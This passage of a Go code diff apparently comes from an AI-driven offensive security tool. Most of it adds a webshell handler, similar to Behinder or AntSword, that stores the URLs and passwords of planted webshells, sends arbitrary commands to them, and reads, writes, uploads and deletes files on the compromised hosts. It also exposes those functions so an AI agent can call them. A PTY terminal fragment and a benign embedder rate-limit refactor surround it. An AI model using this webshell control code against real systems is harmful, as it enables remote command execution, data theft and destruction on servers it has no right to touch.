+	doneChan := make(chan struct{})
+	go func() {
+		buf := make([]byte, 4096)
+		for {
+			n, err := ptmx.Read(buf)
+			if n > 0 {
+				_ = conn.WriteMessage(websocket.BinaryMessage, buf[:n])
+			}
+			if err != nil {
+				break
+			}
+		}
+		close(doneChan)
+	}()
+
+	// WebSocket -> Shell：将前端输入写入 PTY（包括 sudo 密码、Ctrl+C 等）
+	conn.SetReadLimit(64 * 1024)
+	_ = conn.SetReadDeadline(time.Now().Add(terminalTimeout))
+	conn.SetPongHandler(func(string) error {
+		_ = conn.SetReadDeadline(time.Now().Add(terminalTimeout))
+		return nil
+	})
+
+	for {
+		msgType, data, err := conn.ReadMessage()
+		if err != nil {
+			_ = cmd.Process.Kill()
+			break
+		}
+		if msgType != websocket.TextMessage && msgType != websocket.BinaryMessage {
+			continue
+		}
+		if len(data) == 0 {
+			continue
+		}
+		if _, err := ptmx.Write(data); err != nil {
+			_ = cmd.Process.Kill()
+			break
+		}
+	}
+
+	<-doneChan
+}
+

internal/handler/webshell.go

@@ -0,0 +1,626 @@
+package handler
+
+import (
+	"bytes"
+	"database/sql"
+	"io"
+	"net/http"
+	"net/url"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/database"
+
+	"github.com/gin-gonic/gin"
+	"github.com/google/uuid"
+	"go.uber.org/zap"
+)
+
+// WebShellHandler 代理执行 WebShell 命令（类似冰蝎/蚁剑），避免前端跨域并统一构建请求
+type WebShellHandler struct {
+	logger *zap.Logger
+	client *http.Client
+	db     *database.DB
+}
+
+// NewWebShellHandler 创建 WebShell 处理器，db 可为 nil（连接配置接口将不可用）
+func NewWebShellHandler(logger *zap.Logger, db *database.DB) *WebShellHandler {
+	return &WebShellHandler{
+		logger: logger,
+		client: &http.Client{
+			Timeout:   30 * time.Second,
+			Transport: &http.Transport{DisableKeepAlives: false},
+		},
+		db: db,
+	}
+}
+
+// CreateConnectionRequest 创建连接请求
+type CreateConnectionRequest struct {
+	URL      string `json:"url" binding:"required"`
+	Password string `json:"password"`
+	Type     string `json:"type"`
+	Method   string `json:"method"`
+	CmdParam string `json:"cmd_param"`
+	Remark   string `json:"remark"`
+}
+
+// UpdateConnectionRequest 更新连接请求
+type UpdateConnectionRequest struct {
+	URL      string `json:"url" binding:"required"`
+	Password string `json:"password"`
+	Type     string `json:"type"`
+	Method   string `json:"method"`
+	CmdParam string `json:"cmd_param"`
+	Remark   string `json:"remark"`
+}
+
+// ListConnections 列出所有 WebShell 连接（GET /api/webshell/connections）
+func (h *WebShellHandler) ListConnections(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	list, err := h.db.ListWebshellConnections()
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if list == nil {
+		list = []database.WebShellConnection{}
+	}
+	c.JSON(http.StatusOK, list)
+}
+
+// CreateConnection 创建 WebShell 连接（POST /api/webshell/connections）
+func (h *WebShellHandler) CreateConnection(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	var req CreateConnectionRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	req.URL = strings.TrimSpace(req.URL)
+	if req.URL == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
+		return
+	}
+	if _, err := url.Parse(req.URL); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
+		return
+	}
+	method := strings.ToLower(strings.TrimSpace(req.Method))
+	if method != "get" && method != "post" {
+		method = "post"
+	}
+	shellType := strings.ToLower(strings.TrimSpace(req.Type))
+	if shellType == "" {
+		shellType = "php"
+	}
+	conn := &database.WebShellConnection{
+		ID:        "ws_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:12],
+		URL:       req.URL,
+		Password:  strings.TrimSpace(req.Password),
+		Type:     shellType,
+		Method:   method,
+		CmdParam:  strings.TrimSpace(req.CmdParam),
+		Remark:   strings.TrimSpace(req.Remark),
+		CreatedAt: time.Now(),
+	}
+	if err := h.db.CreateWebshellConnection(conn); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, conn)
+}
+
+// UpdateConnection 更新 WebShell 连接（PUT /api/webshell/connections/:id）
+func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	id := strings.TrimSpace(c.Param("id"))
+	if id == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+	var req UpdateConnectionRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	req.URL = strings.TrimSpace(req.URL)
+	if req.URL == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "url is required"})
+		return
+	}
+	if _, err := url.Parse(req.URL); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url"})
+		return
+	}
+	method := strings.ToLower(strings.TrimSpace(req.Method))
+	if method != "get" && method != "post" {
+		method = "post"
+	}
+	shellType := strings.ToLower(strings.TrimSpace(req.Type))
+	if shellType == "" {
+		shellType = "php"
+	}
+	conn := &database.WebShellConnection{
+		ID:       id,
+		URL:      req.URL,
+		Password: strings.TrimSpace(req.Password),
+		Type:     shellType,
+		Method:   method,
+		CmdParam: strings.TrimSpace(req.CmdParam),
+		Remark:   strings.TrimSpace(req.Remark),
+	}
+	if err := h.db.UpdateWebshellConnection(conn); err != nil {
+		if err == sql.ErrNoRows {
+			c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	updated, _ := h.db.GetWebshellConnection(id)
+	if updated != nil {
+		c.JSON(http.StatusOK, updated)
+	} else {
+		c.JSON(http.StatusOK, conn)
+	}
+}
+
+// DeleteConnection 删除 WebShell 连接（DELETE /api/webshell/connections/:id）
+func (h *WebShellHandler) DeleteConnection(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	id := strings.TrimSpace(c.Param("id"))
+	if id == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+	if err := h.db.DeleteWebshellConnection(id); err != nil {
+		if err == sql.ErrNoRows {
+			c.JSON(http.StatusNotFound, gin.H{"error": "connection not found"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"ok": true})
+}
+
+// GetAIHistory 获取指定 WebShell 连接的 AI 助手对话历史（GET /api/webshell/connections/:id/ai-history）
+func (h *WebShellHandler) GetAIHistory(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	id := strings.TrimSpace(c.Param("id"))
+	if id == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+	conv, err := h.db.GetConversationByWebshellConnectionID(id)
+	if err != nil {
+		h.logger.Warn("获取 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
+		c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
+		return
+	}
+	if conv == nil {
+		c.JSON(http.StatusOK, gin.H{"conversationId": nil, "messages": []database.Message{}})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"conversationId": conv.ID, "messages": conv.Messages})
+}
+
+// ListAIConversations 列出该 WebShell 连接下的所有 AI 对话（供侧边栏）
+func (h *WebShellHandler) ListAIConversations(c *gin.Context) {
+	if h.db == nil {
+		c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database not available"})
+		return
+	}
+	id := strings.TrimSpace(c.Param("id"))
+	if id == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+	list, err := h.db.ListConversationsByWebshellConnectionID(id)
+	if err != nil {
+		h.logger.Warn("列出 WebShell AI 对话失败", zap.String("connectionId", id), zap.Error(err))
+		c.JSON(http.StatusOK, []database.WebShellConversationItem{})
+		return
+	}
+	if list == nil {
+		list = []database.WebShellConversationItem{}
+	}
+	c.JSON(http.StatusOK, list)
+}
+
+// ExecRequest 执行命令请求（前端传入连接信息 + 命令）
+type ExecRequest struct {
+	URL      string `json:"url" binding:"required"`
+	Password string `json:"password"`
+	Type     string `json:"type"`      // php, asp, aspx, jsp, custom
+	Method   string `json:"method"`    // GET 或 POST，空则默认 POST
+	CmdParam string `json:"cmd_param"` // 命令参数名，如 cmd/xxx，空则默认 cmd
+	Command  string `json:"command" binding:"required"`
+}
+
+// ExecResponse 执行命令响应
+type ExecResponse struct {
+	OK       bool   `json:"ok"`
+	Output   string `json:"output"`
+	Error    string `json:"error,omitempty"`
+	HTTPCode int    `json:"http_code,omitempty"`
+}
+
+// FileOpRequest 文件操作请求
+type FileOpRequest struct {
+	URL        string `json:"url" binding:"required"`
+	Password   string `json:"password"`
+	Type       string `json:"type"`
+	Method     string `json:"method"`     // GET 或 POST，空则默认 POST
+	CmdParam   string `json:"cmd_param"` // 命令参数名，如 cmd/xxx，空则默认 cmd
+	Action     string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
+	Path       string `json:"path"`
+	TargetPath string `json:"target_path"` // rename 时目标路径
+	Content    string `json:"content"`     // write/upload 时使用
+	ChunkIndex int    `json:"chunk_index"` // upload_chunk 时，0 表示首块
+}
+
+// FileOpResponse 文件操作响应
+type FileOpResponse struct {
+	OK     bool   `json:"ok"`
+	Output string `json:"output"`
+	Error  string `json:"error,omitempty"`
+}
+
+func (h *WebShellHandler) Exec(c *gin.Context) {
+	var req ExecRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	req.URL = strings.TrimSpace(req.URL)
+	req.Command = strings.TrimSpace(req.Command)
+	if req.URL == "" || req.Command == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
+		return
+	}
+
+	parsed, err := url.Parse(req.URL)
+	if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
+		return
+	}
+
+	useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
+	cmdParam := strings.TrimSpace(req.CmdParam)
+	if cmdParam == "" {
+		cmdParam = "cmd"
+	}
+	var httpReq *http.Request
+	if useGET {
+		targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, req.Command)
+		httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
+	} else {
+		body := h.buildExecBody(req.Type, req.Password, cmdParam, req.Command)
+		httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
+		httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+	if err != nil {
+		h.logger.Warn("webshell exec NewRequest", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, ExecResponse{OK: false, Error: err.Error()})
+		return
+	}
+	httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
+
+	resp, err := h.client.Do(httpReq)
+	if err != nil {
+		h.logger.Warn("webshell exec Do", zap.String("url", req.URL), zap.Error(err))
+		c.JSON(http.StatusOK, ExecResponse{OK: false, Error: err.Error()})
+		return
+	}
+	defer resp.Body.Close()
+
+	out, _ := io.ReadAll(resp.Body)
+	output := string(out)
+	httpCode := resp.StatusCode
+
+	c.JSON(http.StatusOK, ExecResponse{
+		OK:       resp.StatusCode == http.StatusOK,
+		Output:   output,
+		HTTPCode: httpCode,
+	})
+}
+
+// buildExecBody 按常见 WebShell 约定构建 POST 体（多数使用 pass + cmd，可配置命令参数名）
+func (h *WebShellHandler) buildExecBody(shellType, password, cmdParam, command string) []byte {
+	form := h.execParams(shellType, password, cmdParam, command)
+	return []byte(form.Encode())
+}
+
+// buildExecURL 构建 GET 请求的完整 URL（baseURL + ?pass=xxx&cmd=yyy，cmd 可配置）
+func (h *WebShellHandler) buildExecURL(baseURL, shellType, password, cmdParam, command string) string {
+	form := h.execParams(shellType, password, cmdParam, command)
+	if parsed, err := url.Parse(baseURL); err == nil {
+		parsed.RawQuery = form.Encode()
+		return parsed.String()
+	}
+	return baseURL + "?" + form.Encode()
+}
+
+func (h *WebShellHandler) execParams(shellType, password, cmdParam, command string) url.Values {
+	shellType = strings.ToLower(strings.TrimSpace(shellType))
+	if shellType == "" {
+		shellType = "php"
+	}
+	if strings.TrimSpace(cmdParam) == "" {
+		cmdParam = "cmd"
+	}
+	form := url.Values{}
+	form.Set("pass", password)
+	form.Set(cmdParam, command)
+	return form
+}
+
+func (h *WebShellHandler) FileOp(c *gin.Context) {
+	var req FileOpRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	req.URL = strings.TrimSpace(req.URL)
+	req.Action = strings.ToLower(strings.TrimSpace(req.Action))
+	if req.URL == "" || req.Action == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
+		return
+	}
+
+	parsed, err := url.Parse(req.URL)
+	if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"})
+		return
+	}
+
+	// 通过执行系统命令实现文件操作（与通用一句话兼容）
+	var command string
+	shellType := strings.ToLower(strings.TrimSpace(req.Type))
+	switch req.Action {
+	case "list":
+		path := strings.TrimSpace(req.Path)
+		if path == "" {
+			path = "."
+		}
+		if shellType == "asp" || shellType == "aspx" {
+			command = "dir " + h.escapePath(path)
+		} else {
+			command = "ls -la " + h.escapePath(path)
+		}
+	case "read":
+		if shellType == "asp" || shellType == "aspx" {
+			command = "type " + h.escapePath(strings.TrimSpace(req.Path))
+		} else {
+			command = "cat " + h.escapePath(strings.TrimSpace(req.Path))
+		}
+	case "delete":
+		if shellType == "asp" || shellType == "aspx" {
+			command = "del " + h.escapePath(strings.TrimSpace(req.Path))
+		} else {
+			command = "rm -f " + h.escapePath(strings.TrimSpace(req.Path))
+		}
+	case "write":
+		path := h.escapePath(strings.TrimSpace(req.Path))
+		command = "echo " + h.escapeForEcho(req.Content) + " > " + path
+	case "mkdir":
+		path := strings.TrimSpace(req.Path)
+		if path == "" {
+			c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for mkdir"})
+			return
+		}
+		if shellType == "asp" || shellType == "aspx" {
+			command = "md " + h.escapePath(path)
+		} else {
+			command = "mkdir -p " + h.escapePath(path)
+		}
+	case "rename":
+		oldPath := strings.TrimSpace(req.Path)
+		newPath := strings.TrimSpace(req.TargetPath)
+		if oldPath == "" || newPath == "" {
+			c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path and target_path are required for rename"})
+			return
+		}
+		if shellType == "asp" || shellType == "aspx" {
+			command = "move /y " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
+		} else {
+			command = "mv " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
+		}
+	case "upload":
+		path := strings.TrimSpace(req.Path)
+		if path == "" {
+			c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload"})
+			return
+		}
+		if len(req.Content) > 512*1024 {
+			c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "upload content too large (max 512KB base64)"})
+			return
+		}
+		// base64 仅含 A-Za-z0-9+/=，用单引号包裹安全
+		command = "echo " + "'" + req.Content + "'" + " | base64 -d > " + h.escapePath(path)
+	case "upload_chunk":
+		path := strings.TrimSpace(req.Path)
+		if path == "" {
+			c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload_chunk"})
+			return
+		}
+		redir := ">>"
+		if req.ChunkIndex == 0 {
+			redir = ">"
+		}
+		command = "echo " + "'" + req.Content + "'" + " | base64 -d " + redir + " " + h.escapePath(path)
+	default:
+		c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "unsupported action: " + req.Action})
+		return
+	}
+
+	useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
+	cmdParam := strings.TrimSpace(req.CmdParam)
+	if cmdParam == "" {
+		cmdParam = "cmd"
+	}
+	var httpReq *http.Request
+	if useGET {
+		targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
+	} else {
+		body := h.buildExecBody(req.Type, req.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
+		httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, FileOpResponse{OK: false, Error: err.Error()})
+		return
+	}
+	httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
+
+	resp, err := h.client.Do(httpReq)
+	if err != nil {
+		c.JSON(http.StatusOK, FileOpResponse{OK: false, Error: err.Error()})
+		return
+	}
+	defer resp.Body.Close()
+
+	out, _ := io.ReadAll(resp.Body)
+	output := string(out)
+
+	c.JSON(http.StatusOK, FileOpResponse{
+		OK:     resp.StatusCode == http.StatusOK,
+		Output: output,
+	})
+}
+
+func (h *WebShellHandler) escapePath(p string) string {
+	if p == "" {
+		return "."
+	}
+	// 简单转义空格与敏感字符，避免命令注入
+	return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
+}
+
+func (h *WebShellHandler) escapeForEcho(s string) string {
+	// 仅用于 write：base64 写入更安全，这里简单用单引号包裹
+	return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
+}
+
+// ExecWithConnection 在指定 WebShell 连接上执行命令（供 MCP/Agent 等非 HTTP 调用）
+func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
+	if conn == nil {
+		return "", false, "connection is nil"
+	}
+	command = strings.TrimSpace(command)
+	if command == "" {
+		return "", false, "command is required"
+	}
+	useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
+	cmdParam := strings.TrimSpace(conn.CmdParam)
+	if cmdParam == "" {
+		cmdParam = "cmd"
+	}
+	var httpReq *http.Request
+	var err error
+	if useGET {
+		targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
+	} else {
+		body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
+		httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+	if err != nil {
+		return "", false, err.Error()
+	}
+	httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
+	resp, err := h.client.Do(httpReq)
+	if err != nil {
+		return "", false, err.Error()
+	}
+	defer resp.Body.Close()
+	out, _ := io.ReadAll(resp.Body)
+	return string(out), resp.StatusCode == http.StatusOK, ""
+}
+
+// FileOpWithConnection 在指定 WebShell 连接上执行文件操作（供 MCP/Agent 调用），支持 list / read / write
+func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection, action, path, content, targetPath string) (output string, ok bool, errMsg string) {
+	if conn == nil {
+		return "", false, "connection is nil"
+	}
+	action = strings.ToLower(strings.TrimSpace(action))
+	shellType := strings.ToLower(strings.TrimSpace(conn.Type))
+	if shellType == "" {
+		shellType = "php"
+	}
+	var command string
+	switch action {
+	case "list":
+		if path == "" {
+			path = "."
+		}
+		if shellType == "asp" || shellType == "aspx" {
+			command = "dir " + h.escapePath(strings.TrimSpace(path))
+		} else {
+			command = "ls -la " + h.escapePath(strings.TrimSpace(path))
+		}
+	case "read":
+		path = strings.TrimSpace(path)
+		if path == "" {
+			return "", false, "path is required for read"
+		}
+		if shellType == "asp" || shellType == "aspx" {
+			command = "type " + h.escapePath(path)
+		} else {
+			command = "cat " + h.escapePath(path)
+		}
+	case "write":
+		path = strings.TrimSpace(path)
+		if path == "" {
+			return "", false, "path is required for write"
+		}
+		command = "echo " + h.escapeForEcho(content) + " > " + h.escapePath(path)
+	default:
+		return "", false, "unsupported action: " + action + " (supported: list, read, write)"
+	}
+	useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
+	cmdParam := strings.TrimSpace(conn.CmdParam)
+	if cmdParam == "" {
+		cmdParam = "cmd"
+	}
+	var httpReq *http.Request
+	var err error
+	if useGET {
+		targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
+	} else {
+		body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
+		httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
+		httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+	if err != nil {
+		return "", false, err.Error()
+	}
+	httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
+	resp, err := h.client.Do(httpReq)
+	if err != nil {
+		return "", false, err.Error()
+	}
+	defer resp.Body.Close()
+	out, _ := io.ReadAll(resp.Body)
+	return string(out), resp.StatusCode == http.StatusOK, ""
+}

internal/knowledge/embedder.go

@@ -6,39 +6,75 @@ import (
 	"fmt"
 	"net/http"
 	"strings"
+	"sync"
 	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/openai"
 
 	"go.uber.org/zap"
+	"golang.org/x/time/rate"
 )
 
 // Embedder 文本嵌入器
 type Embedder struct {
-	openAIClient *openai.Client
-	config       *config.KnowledgeConfig
-	openAIConfig *config.OpenAIConfig // 用于获取API Key
-	logger       *zap.Logger
+	openAIClient   *openai.Client
+	config         *config.KnowledgeConfig
+	openAIConfig   *config.OpenAIConfig // 用于获取 API Key
+	logger         *zap.Logger
+	rateLimiter    *rate.Limiter       // 速率限制器
+	rateLimitDelay time.Duration       // 请求间隔时间
+	maxRetries     int                 // 最大重试次数
+	retryDelay     time.Duration       // 重试间隔
+	mu             sync.Mutex          // 保护 rateLimiter
 }
 
 // NewEmbedder 创建新的嵌入器
 func NewEmbedder(cfg *config.KnowledgeConfig, openAIConfig *config.OpenAIConfig, openAIClient *openai.Client, logger *zap.Logger) *Embedder {
+	// 初始化速率限制器
+	var rateLimiter *rate.Limiter
+	var rateLimitDelay time.Duration
+
+	// 如果配置了 MaxRPM，根据 RPM 计算速率限制
+	if cfg.Indexing.MaxRPM > 0 {
+		rpm := cfg.Indexing.MaxRPM
+		rateLimiter = rate.NewLimiter(rate.Every(time.Minute/time.Duration(rpm)), rpm)
+		logger.Info("知识库索引速率限制已启用", zap.Int("maxRPM", rpm))
+	} else if cfg.Indexing.RateLimitDelayMs > 0 {
+		// 如果没有配置 MaxRPM 但配置了固定延迟，使用固定延迟模式
+		rateLimitDelay = time.Duration(cfg.Indexing.RateLimitDelayMs) * time.Millisecond
+		logger.Info("知识库索引固定延迟已启用", zap.Duration("delay", rateLimitDelay))
+	}
+
+	// 重试配置
+	maxRetries := 3
+	retryDelay := 1000 * time.Millisecond
+	if cfg.Indexing.MaxRetries > 0 {
+		maxRetries = cfg.Indexing.MaxRetries
+	}
+	if cfg.Indexing.RetryDelayMs > 0 {
+		retryDelay = time.Duration(cfg.Indexing.RetryDelayMs) * time.Millisecond
+	}
+
 	return &Embedder{
-		openAIClient: openAIClient,
-		config:       cfg,
-		openAIConfig: openAIConfig,
-		logger:       logger,
+		openAIClient:   openAIClient,
+		config:         cfg,
+		openAIConfig:   openAIConfig,
+		logger:         logger,
+		rateLimiter:    rateLimiter,
+		rateLimitDelay: rateLimitDelay,
+		maxRetries:     maxRetries,
+		retryDelay:     retryDelay,
 	}
 }
 
-// EmbeddingRequest OpenAI嵌入请求
+// EmbeddingRequest OpenAI 嵌入请求
 type EmbeddingRequest struct {
 	Model string   `json:"model"`
 	Input []string `json:"input"`
 }
 
-// EmbeddingResponse OpenAI嵌入响应
+// EmbeddingResponse OpenAI 嵌入响应
 type EmbeddingResponse struct {
 	Data []EmbeddingData `json:"data"`
 	Error *EmbeddingError `json:"error,omitempty"`
@@ -56,12 +92,69 @@ type EmbeddingError struct {
 	Type    string `json:"type"`
 }
 
-// EmbedText 对文本进行嵌入
-func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error) {
-	if e.openAIClient == nil {
-		return nil, fmt.Errorf("OpenAI客户端未初始化")
+// waitRateLimiter 等待速率限制器
+func (e *Embedder) waitRateLimiter() {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	if e.rateLimiter != nil {
+		// 等待令牌
+		ctx := context.Background()
+		if err := e.rateLimiter.Wait(ctx); err != nil {
+			e.logger.Warn("速率限制器等待失败", zap.Error(err))
+		}
 	}
 
+	if e.rateLimitDelay > 0 {
+		time.Sleep(e.rateLimitDelay)
+	}
+}
+
+// EmbedText 对文本进行嵌入（带重试和速率限制）
+func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error) {
+	if e.openAIClient == nil {
+		return nil, fmt.Errorf("OpenAI 客户端未初始化")
+	}
+
+	var lastErr error
+	for attempt := 0; attempt < e.maxRetries; attempt++ {
+		// 速率限制
+		if attempt > 0 {
+			// 重试时等待更长时间
+			waitTime := e.retryDelay * time.Duration(attempt)
+			e.logger.Debug("重试前等待", zap.Int("attempt", attempt+1), zap.Duration("waitTime", waitTime))
+			select {
+			case <-ctx.Done():
+				return nil, ctx.Err()
+			case <-time.After(waitTime):
+			}
+		} else {
+			e.waitRateLimiter()
+		}
+
+		result, err := e.doEmbedText(ctx, text)
+		if err == nil {
+			return result, nil
+		}
+
+		lastErr = err
+
+		// 检查是否是可重试的错误（429 速率限制、5xx 服务器错误、网络错误）
+		if !e.isRetryableError(err) {
+			return nil, err
+		}
+
+		e.logger.Debug("嵌入请求失败，准备重试",
+			zap.Int("attempt", attempt+1),
+			zap.Int("maxRetries", e.maxRetries),
+			zap.Error(err))
+	}
+
+	return nil, fmt.Errorf("达到最大重试次数 (%d): %v", e.maxRetries, lastErr)
+}
+
+// doEmbedText 执行实际的嵌入请求（内部方法）
+func (e *Embedder) doEmbedText(ctx context.Context, text string) ([]float32, error) {
 	// 使用配置的嵌入模型
 	model := e.config.Embedding.Model
 	if model == "" {
@@ -73,7 +166,7 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 		Input: []string{text},
 	}
 
-	// 清理baseURL：去除前后空格和尾部斜杠
+	// 清理 baseURL：去除前后空格和尾部斜杠
 	baseURL := strings.TrimSpace(e.config.Embedding.BaseURL)
 	baseURL = strings.TrimSuffix(baseURL, "/")
 	if baseURL == "" {
@@ -83,24 +176,24 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 	// 构建请求
 	body, err := json.Marshal(req)
 	if err != nil {
-		return nil, fmt.Errorf("序列化请求失败: %w", err)
+		return nil, fmt.Errorf("序列化请求失败：%w", err)
 	}
 
 	requestURL := baseURL + "/embeddings"
 	httpReq, err := http.NewRequestWithContext(ctx, http.MethodPost, requestURL, strings.NewReader(string(body)))
 	if err != nil {
-		return nil, fmt.Errorf("创建请求失败: %w", err)
+		return nil, fmt.Errorf("创建请求失败：%w", err)
 	}
 
 	httpReq.Header.Set("Content-Type", "application/json")
-	
-	// 使用配置的API Key，如果没有则使用OpenAI配置的
+
+	// 使用配置的 API Key，如果没有则使用 OpenAI 配置的
 	apiKey := strings.TrimSpace(e.config.Embedding.APIKey)
 	if apiKey == "" && e.openAIConfig != nil {
 		apiKey = e.openAIConfig.APIKey
 	}
 	if apiKey == "" {
-		return nil, fmt.Errorf("API Key未配置")
+		return nil, fmt.Errorf("API Key 未配置")
 	}
 	httpReq.Header.Set("Authorization", "Bearer "+apiKey)
 
@@ -110,7 +203,7 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 	}
 	resp, err := httpClient.Do(httpReq)
 	if err != nil {
-		return nil, fmt.Errorf("发送请求失败: %w", err)
+		return nil, fmt.Errorf("发送请求失败：%w", err)
 	}
 	defer resp.Body.Close()
 
@@ -132,7 +225,7 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 	if len(requestBodyPreview) > 200 {
 		requestBodyPreview = requestBodyPreview[:200] + "..."
 	}
-	e.logger.Debug("嵌入API请求",
+	e.logger.Debug("嵌入 API 请求",
 		zap.String("url", httpReq.URL.String()),
 		zap.String("model", model),
 		zap.String("requestBody", requestBodyPreview),
@@ -148,12 +241,12 @@ func (e *Embedder) EmbedText(ctx context.Context, text string) ([]float32, error
 		if len(bodyPreview) > 500 {
 			bodyPreview = bodyPreview[:500] + "..."
 		}
-		return nil, fmt.Errorf("解析响应失败 (URL: %s, 状态码: %d, 响应长度: %d字节): %w\n请求体: %s\n响应内容预览: %s",
+		return nil, fmt.Errorf("解析响应失败 (URL: %s, 状态码：%d, 响应长度：%d字节): %w\n请求体：%s\n响应内容预览：%s",
 			requestURL, resp.StatusCode, len(bodyBytes), err, requestBodyPreview, bodyPreview)
 	}
 
 	if embeddingResp.Error != nil {
-		return nil, fmt.Errorf("OpenAI API错误 (状态码: %d): 类型=%s, 消息=%s",
